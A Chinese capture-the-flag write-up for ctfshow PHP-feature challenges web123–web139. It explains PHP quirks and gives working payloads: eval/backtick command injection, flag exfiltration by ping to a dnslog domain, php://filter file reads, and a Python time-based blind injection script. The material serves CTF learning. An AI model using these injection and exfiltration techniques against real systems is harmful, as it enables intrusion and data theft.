当前位置: 首页 > news >正文

ctfshow web入门 php特性 web123--web139

web123

在这里插入图片描述必须传CTF_SHOW,CTF_SHOW.COM 不能有fl0g
在php中变量名字是由数字字母和下划线组成的,所以不论用post还是get传入变量名的时候都将空格、+、点、[转换为下划线,但是用一个特性是可以绕过的,就是当[提前出现后,后面的点就不会再被转义了。

POSTCTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag

但是和这个$a=$_SERVER['argv']; 没啥关系
不过为了后面更好做题我们还是研究一下
添加链接描述
他这里对这个就讲的特别详细了,我抄一下

argv是数组,argc是数字。
可通过var_dump($_SERVER);var_dump($argv);语句查看argv有独立GET之外获取参数的作用。比如传入?aaa+bbb   argv(数组)两个元素是aaa和bbb。argc是数组的长度。php中有些文件(pearcmd.php)是通过argv和argc来获取参数的。
web网页模式下在web页模式下必须在php.ini开启register_argc_argv配置项设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果,题目中应该是On这时候的$_SERVER[‘argv’][0] = $_SERVER[QUERY_STRING]
//$_SERVER[‘argv’][0]就是a[0]$argv,$argc在web模式下不适用
cli模式(命令行)下第一个参数总是当前【脚本】的文件名,因此 $argv[0] 就是脚本文件名。当把php作为脚本,使用这个命令执行:php script.php arg1 arg2 arg3以上示例的输出类似于:
array(4) {[0]=>string(10) "script.php"[1]=>string(4) "arg1"[2]=>string(4) "arg2"[3]=>string(4) "arg3"
}

然后现在是网页模式

这时候的$_SERVER[‘argv’][0] = $_SERVER[QUERY_STRING]
//$_SERVER[‘argv’][0]就是a[0]

利用$_SERVER['argv'][0] 就可以绕过对**isset($fl0g)**的判断,用+代表空格。

构造payload

get:
?$fl0g=flag_give_me;
post:
CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])
get:
?a=1=1+fl0g=flag_give_me
post:
CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1]) 

这道题终于解决了

web125

在这里插入图片描述就用argv的方法来写

get:
?$fl0g=flag_give_me;
post:
CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])

web126

在这里插入图片描述如上题

web127

在这里插入图片描述extract:从数组中将变量导入到当前的符号表
在这里插入图片描述还有空格可以用

?ctf show=ilove36d

在这里插入图片描述

web128

在这里插入图片描述

gettext():_()gettext()的拓展函数 在开启相关设定后,_("666")等价于gettext("666"),且就返回其中的参数(因为过滤了字母所以我们就用下划线,让其输出)
get_defined_vars:返回由所有已定义变量所组成的数组,因为包含了flag.php,所以flag.php里面肯定有$flag储存了flag。
?f1=_&f2=get_defined_vars

在这里插入图片描述

web129

在这里插入图片描述

stripos:查找字符串首次出现的位置readfile: 输出文件

题目要求我们构造的f中有ctfshow,且不在最开头。则执行readfile函数,同时还要不影响flag.php的读取

GET传参://查看源码获得flag
?f=php://filter/|ctfshow/resource=flag.php
?f=/ctfshow/../../../../../../../var/www/html/flag.php
?f=./ctfshow/../flag.php//直接回显base64,然后base64解密
?f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php

web130

在这里插入图片描述stripos()遇到数组会返回null,null!=false,所以可以绕过stripos函数
然后数组可以绕过preg_match

POST:
f[]=1
.表示任意单个字符,+表示必须匹配1次或多次,+?表示 重复1次或更多次,但尽可能少重复。所以在ctfshow前面必须有至少一个字符,才会返回true
所以直接构造playload:f=ctfshow,即可绕过preg_match函数同时,if(0 === flase)返回值为false0不是强等于false的,所以也不满足if(stripos($f, 'ctfshow') === FALSE)
POST:
f=ctfshow

还可以目录溢出

import requests
url="xxxxxxxxxxxxxxx"
data={'f':'very'*250000+'ctfshow'
}
r=requests.post(url,data=data)
print(r.text)

web131

在这里插入图片描述会进行字符串转换我们之前的办法用不了了
用脚本使得目录溢出

import requests
url="xxxxxxxxxxxxxxx"
data={'f':'very'*250000+'36Dctfshow'
}
r=requests.post(url,data=data)
print(r.text)

在这里插入图片描述

web132

在这里插入图片描述
扫描后台,我们进admin/index.php看看
在这里插入图片描述在这里插入图片描述mt_rand():使用 Mersenne Twister 算法生成随机整数。相比较于rand()函数其速度更快
生成1-877的随机数

if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin")
由于&&||优先级高所以可以看成是
if($code === mt_rand(1,0x36D) && $password === $flag|| $username ==="admin")
所以满足username=admin然后code=admin就有flag

?username=admin&code=admin&password=1在这里插入图片描述

web133

在这里插入图片描述

$F = @$_GET['F'](防止报错)
substr($F,0,6)(截取其中的六个字符)
我们传递?F=`$F`;+sleep 3好像网站确实sleep了一会说明的确执行了命令
**那为什么会这样?**
因为是我们传递的`$F`;+sleep 3。先进行substr()函数截断然后去执行eval()函数
这个函数的作用是执行php代码,``shell_exec()函数的缩写,然后就去命令执行。
而$F就是我们输入的`$F`;+sleep 3 使用最后执行的代码应该是
``$F`;+sleep 3`,就执行成功
这里可能有点绕,慢慢理解
就是说执行的是eval'$F`;+sleep 3`';

然后我们就可以进行类似的构造

?F=`$F` ;ls /
?F=`$F` ;tac /f*

但是没有回显

?F=`$F`; ping `cat flag.php | grep ctfshow | tr -cd '[a-z]'/'[0-9]'`.dnslog得到的网址 -c 1

DNSlog
在这里插入图片描述

先点击左边的获得域名,然后传参之后再点击右边的刷新结果
在这里插入图片描述flagctfshowcf2216ae8dbe496da637709e3218946c.he20y5.dnslog.cn
8-4-4-4-12的flag格式
ctfshow{cf2216ae-8dbe-496d-a637-709e3218946c}

web134

在这里插入图片描述

parse_str是对get请求进行的内容解析成变量。例如传递?a=1,执行后就是$a=1。
extract 其功能是将关联数组中的键名转换为变量名,并将键值赋给这些变量。

对_POST进行extract,那么构造

?_POST[key1]=36d&_POST[key2]=36d
//刚好   key1=36d&key2=36d

查看源代码
在这里插入图片描述

web135

在这里插入图片描述web133一样的东西但是我们的grep被过滤了,所以得思考一下怎么才行,但是反斜杠引号什么的没过滤,就可以用来绕过
但是不知道为什么web133的相关操作我都用不了了
只能用其他方法了比如写文件

?F=`$F` ;cp flag.php x.txt
?F=`$F` ;nl flag.php>x.txt
?F=`$F` ;mv flag.php x.txt

然后访问x.txt就可以拿到flag
在这里插入图片描述

拼接一下ctfshow{25b598bc-5a5b-4baf-a23e-2c4e9dea9d8f}

web136

在这里插入图片描述exec相当于system
直接ls查看目录,发现一片空白,这时候就需要学新东西了

tee命令
主要用于从标准输入读取数据,并将其内容同时输出到标准输出(屏幕)和一个或多个文件中。简单来说,就像水管中的 T 形接头一样,数据流经过这里时,既可以继续流向下游,也可以分流保存到指定的文件中。
例子
echo "This is a test line." | tee file1.txt file2.txt
不仅会输出而且还会保存到file1.txt和 file2.txt
?c=ls /|tee 3
然后访问3,下载文件记事本打开

查看flag

?c=cat /f149_15_h3r3|tee 6

在这里插入图片描述在这里插入图片描述

web 137

在这里插入图片描述获得flag要调用getflag,也就是调用类里面的成员

->用于动态语境处理某个类的某个实例::可以调用一个静态的、不依赖于其他初始化的类方法

必须传参ctfshow

POST:
ctfshow=ctfshow::getflag

在这里插入图片描述查看源代码
在这里插入图片描述

web138

在这里插入图片描述
调用类中的成员但是不能有 : 那么刚才的方法就不能用了,但是我们的

call_user_func函数里面可以传数组,第一个元素是类名或者类的一个对象,第二个元素是类的方法名,同样可以调用。这就避免了:的出现。

传参

POST:
ctfshow[0]=ctfshow&ctfshow[1]=getflag

查看源码
在这里插入图片描述

web139

在这里插入图片描述

import requests
import time
import stringstr = string.ascii_letters + string.digits + "-" + "{" + "}" + "_" + "~"    # 构建一个包含所有字母和数字以及部分符号的字符串,符号可以自己加
result = ""          # 初始化一个空字符串,用于保存结果#获取多少行
for i in range(1, 99):key = 0   #用于控制内层循环(j)的结束#不break的情况下,一行最多几个字符for j in range(1, 99):if key == 1:breakfor n in str:       #n就是一个一个的返回值payload = "if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i, j, n)   #{n}是占位符#print(payload)url = "http://89e3e82d-d133-4a9e-a883-790d41e8a3b8.challenge.ctf.show?c=" + payloadtry:requests.get(url, timeout=(2.5, 2.5))   #设置超时时间为 2.5 秒,包括连接超时和读取超时,超时就是之前sleep 3了。# 如果请求发生异常,表示条件满足,将当前字符 n 添加到结果字符串中,并结束当前内层循环except:result = result + nprint(result)breakif n == '~':    #str的最后一位,“~”不常出现,用作结尾key = 1# 在每次获取一个字符后,将一个空格添加到结果字符串中,用于分隔结果的不同位置result += " "

在这里插入图片描述f149_15_h3r3

import requests
import time
import stringstr = string.digits + string.ascii_lowercase + "-" + "_" + "~"# 题目过滤花括号,这里就不加了
result = ""
for j in range(1, 99):for n in str:payload = "if [ `cat /f149_15_h3r3 |cut -c {0}` == {1} ];then sleep 3;fi".format(j, n)# print(payload)url = "http://89e3e82d-d133-4a9e-a883-790d41e8a3b8.challenge.ctf.show?c=" + payloadtry:requests.get(url, timeout=(2.5, 2.5))except:result = result + nprint(result)breakif n=="~":result = result + "花括号"

继续跑flag

在这里插入图片描述

相关文章:

ctfshow web入门 php特性 web123--web139

web123 必须传CTF_SHOW,CTF_SHOW.COM 不能有fl0g 在php中变量名字是由数字字母和下划线组成的,所以不论用post还是get传入变量名的时候都将空格、、点、[转换为下划线,但是用一个特性是可以绕过的,就是当[提前出现后,…...

pta L1-002 打印沙漏

L1-002 打印沙漏 分数 20 全屏浏览 切换布局 作者 陈越 单位 浙江大学 本题要求你写个程序把给定的符号打印成沙漏的形状。例如给定17个“*”,要求按下列格式打印 ************ *****所谓“沙漏形状”,是指每行输出奇数个符号;各行符号中…...

【简单讲解下PHP AES加解密示例】

🌈个人主页: 程序员不想敲代码啊 🏆CSDN优质创作者,CSDN实力新星,CSDN博客专家 👍点赞⭐评论⭐收藏 🤝希望本文对您有所裨益,如有不足之处,欢迎在评论区提出指正,让我们共…...

设计模式总结-外观模式(门面模式)

外观模式 模式动机模式定义模式结构外观模式实例与解析实例一:电源总开关实例二:文件加密 模式动机 引入外观角色之后,用户只需要直接与外观角色交互,用户与子系统之间的复杂关系由外观角色来实现,从而降低了系统的耦…...

LiveGBS流媒体平台GB/T28181常见问题-系统服务日志如何配置日志个数日志路径日志时长web操作日志操如何配置保留天数及过滤

LiveGBS系统服务日志如何配置日志个数日志路径日志时长web操作日志操如何配置保留天数及过滤 1、系统服务日志1.1、日志目录1.2、配置日志文件个数及记录时间1.3、配置日志文件路径 2、Web 操作日志2.1、配置保留天数2.2、配置不记录操作日志2.1.1、不记录所有2.1.2、不记录指定…...

es6:set()和weakset()

一、Map() 1.1 简介 ES6 提供了 Set 数据结构&#xff0c;它类似于数组&#xff0c;但是值是唯一没有重复的。 我们可以通过 new Set()去创建它。 1.2. Set的创建、设置与获取 <script> const set new Set(); console.log(set.add(1)); //Set { 1 } …...

C#仿OutLook的特色窗体设计

目录 1. 资源图片准备 2. 设计流程&#xff1a; &#xff08;1&#xff09;用MenuStrip控件设计菜单栏 &#xff08;2&#xff09;用ToolStrip控件设计工具栏 &#xff08;3&#xff09;用StatusStrip控件设计状态栏 &#xff08;4&#xff09;ImageList组件装载树节点图…...

Jmeter的使用

Jmeter的使用 1.Jmeter简介 以下内容来自Jmeter中文网http://www.jmeter.com.cn/jieshao&#xff0c;很好的解释了Jmeter的作用&#xff1a; Apache JMeter是Apache组织开发的基于Java的压力测试工具。用于对软件做压力测试&#xff0c;它最初被设计用于Web应用测试&#xf…...

【蓝桥杯第十届省赛B】(部分详解)

特别数的和 #include <iostream> #include <string> using LLlong long; using namespace std;int main() {LL n;cin >> n;LL cnt 0;for (LL i 1; i < n; i) {string s to_string(i);for (LL j 0; j < s.size(); j) {if (s[j] 2 || s[j] 0 || s…...

计算机研究生规划

一、计算机研究生技术栈 两条腿走路: 左侧工程实践能力&#xff1a;要掌握python编程语言&#xff0c;它和机器学习、神经网络&#xff08;这两门几乎是必须掌握的技能&#xff09;的学习有很大关系 右侧学术创新能力 二、编程语言能力提升 左边基础&#xff0c;右边教你写…...

针孔相机、鱼眼相机、全景相机

先进性简述&#xff0c;后续慢慢会补充1. 针孔相机&#xff1a; 针孔相机是一种基于针孔成像原理的传统相机&#xff0c;它使用一个非常小的孔径&#xff08;即“针孔”&#xff09;来限制光线进入相机的方式。 这种相机通常具有简单的结构&#xff0c;由一个孔径较小的光学元…...

HTML5+CSS3+JS小实例:圣诞按钮

实例:圣诞按钮 技术栈:HTML+CSS+JS 效果: 源码: 【HTML】 <!DOCTYPE html> <html lang="zh-CN"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0&…...

【深度学习基础】

打基础日常记录 CNN基础知识1. 感知机2. DNN 深度神经网络&#xff08;全连接神经网络&#xff09;DNN 与感知机的区别DNN特点&#xff0c;全连接神经网络DNN前向传播和反向传播 3. CNN结构【提取特征分类】4. CNN应用于文本 RNN基础1. RNN的本质 词向量模型word2Vec1. 自然语言…...

银行业架构网络BIAN (Banking IndustryArchitecture Network)详细介绍

BIAN ( The Banking Industry Architecture Network) 是一个业界多方协作的非营利性组织&#xff0c;由全球领先银行、技术提供商、顾问和学者组成&#xff0c;定义了一个用以简化和标准化核心银行体系结构的银行技术框架。这一框架基于面向服务的架构 (SOA) 原则&#xff0c;银…...

[尚硅谷 flink] 基于时间的合流——双流联结(Join)

文章目录 8.1 窗口联结&#xff08;Window Join&#xff09;8.2 **间隔联结&#xff08;Interval Join&#xff09;** 8.1 窗口联结&#xff08;Window Join&#xff09; Flink为基于一段时间的双流合并专门提供了一个窗口联结算子&#xff0c;可以定义时间窗口&#xff0c;并…...

怎样恢复已删除的照片?教你3个方法,一键恢复!

很多人喜欢以拍照的形式记录生活&#xff0c;手机里的照片就很容易堆积成山&#xff0c;但当内存不够用时就不得不选择删除。可是这些美好的照片始终是很多人心中抹不去的记忆&#xff0c;那么该怎样恢复已删除的照片呢&#xff1f;下面几招&#xff0c;教你一键恢复&#xff0…...

植物糖基转移酶数据库-23年-地表最强系列-文献精读-6

pUGTdb: A comprehensive database of plant UDP-dependent glycosyltransferases pUGTdb&#xff1a;植物UDP依赖糖基转移酶的全面数据库 一篇关于植物糖基转移数据库的综述&#xff0c;地表最强&#xff0c;总结的最全面的版本之一&#xff0c;各位看官有推荐请留言评论区~…...

虚拟机打不开

问题 另一个程序已锁定文件的一部分&#xff0c;进程无法访问 打不开磁盘“G:\centeros\hadoop104kl\hadoop100-cl2.vmdk”或它所依赖的某个快照磁盘。 模块“Disk”启动失败。 未能启动虚拟机。 原因 前一次非正常关闭虚拟机导致.lck 文件是VMWare软件的一种磁盘锁文件&…...

MySQL数据库版本为5.5.62,时间戳超出2038年1月19日的解决方案

MySQL数据库版本是 5.5.62&#xff0c;已设置字段的类型为BIGINT&#xff0c;使用FROM_UNIXTIME()函数来转换时间戳&#xff0c;返回NULL。 SELECT FROM_UNIXTIME(1617970800)SELECT FROM_UNIXTIME(2185743121)MySQL数据库版本为5.5.62&#xff0c;已设置字段的类型为BIGINT&a…...

C++20 semaphore(信号量) 详解

头文件在C20中是并发库技术规范&#xff08;Technical Specification, TS&#xff09;的一部分。信号量是同步原语&#xff0c;帮助控制多线程程序中对共享资源的访问。头文件提供了标准C方式来使用信号量。 使用环境 Windows&#xff1a;VS中打开项目属性&#xff0c;修改C语…...

Zustand 状态管理库:极简而强大的解决方案

Zustand 是一个轻量级、快速和可扩展的状态管理库&#xff0c;特别适合 React 应用。它以简洁的 API 和高效的性能解决了 Redux 等状态管理方案中的繁琐问题。 核心优势对比 基本使用指南 1. 创建 Store // store.js import create from zustandconst useStore create((set)…...

HTML前端开发:JavaScript 常用事件详解

作为前端开发的核心&#xff0c;JavaScript 事件是用户与网页交互的基础。以下是常见事件的详细说明和用法示例&#xff1a; 1. onclick - 点击事件 当元素被单击时触发&#xff08;左键点击&#xff09; button.onclick function() {alert("按钮被点击了&#xff01;&…...

NLP学习路线图(二十三):长短期记忆网络(LSTM)

在自然语言处理(NLP)领域,我们时刻面临着处理序列数据的核心挑战。无论是理解句子的结构、分析文本的情感,还是实现语言的翻译,都需要模型能够捕捉词语之间依时序产生的复杂依赖关系。传统的神经网络结构在处理这种序列依赖时显得力不从心,而循环神经网络(RNN) 曾被视为…...

在WSL2的Ubuntu镜像中安装Docker

Docker官网链接: https://docs.docker.com/engine/install/ubuntu/ 1、运行以下命令卸载所有冲突的软件包&#xff1a; for pkg in docker.io docker-doc docker-compose docker-compose-v2 podman-docker containerd runc; do sudo apt-get remove $pkg; done2、设置Docker…...

Spring AI与Spring Modulith核心技术解析

Spring AI核心架构解析 Spring AI&#xff08;https://spring.io/projects/spring-ai&#xff09;作为Spring生态中的AI集成框架&#xff0c;其核心设计理念是通过模块化架构降低AI应用的开发复杂度。与Python生态中的LangChain/LlamaIndex等工具类似&#xff0c;但特别为多语…...

学习STC51单片机32(芯片为STC89C52RCRC)OLED显示屏2

每日一言 今天的每一份坚持&#xff0c;都是在为未来积攒底气。 案例&#xff1a;OLED显示一个A 这边观察到一个点&#xff0c;怎么雪花了就是都是乱七八糟的占满了屏幕。。 解释 &#xff1a; 如果代码里信号切换太快&#xff08;比如 SDA 刚变&#xff0c;SCL 立刻变&#…...

AI书签管理工具开发全记录(十九):嵌入资源处理

1.前言 &#x1f4dd; 在上一篇文章中&#xff0c;我们完成了书签的导入导出功能。本篇文章我们研究如何处理嵌入资源&#xff0c;方便后续将资源打包到一个可执行文件中。 2.embed介绍 &#x1f3af; Go 1.16 引入了革命性的 embed 包&#xff0c;彻底改变了静态资源管理的…...

docker 部署发现spring.profiles.active 问题

报错&#xff1a; org.springframework.boot.context.config.InvalidConfigDataPropertyException: Property spring.profiles.active imported from location class path resource [application-test.yml] is invalid in a profile specific resource [origin: class path re…...

代码规范和架构【立芯理论一】(2025.06.08)

1、代码规范的目标 代码简洁精炼、美观&#xff0c;可持续性好高效率高复用&#xff0c;可移植性好高内聚&#xff0c;低耦合没有冗余规范性&#xff0c;代码有规可循&#xff0c;可以看出自己当时的思考过程特殊排版&#xff0c;特殊语法&#xff0c;特殊指令&#xff0c;必须…...

wpf在image控件上快速显示内存图像

wpf在image控件上快速显示内存图像https://www.cnblogs.com/haodafeng/p/10431387.html 如果你在寻找能够快速在image控件刷新大图像&#xff08;比如分辨率3000*3000的图像&#xff09;的办法&#xff0c;尤其是想把内存中的裸数据&#xff08;只有图像的数据&#xff0c;不包…...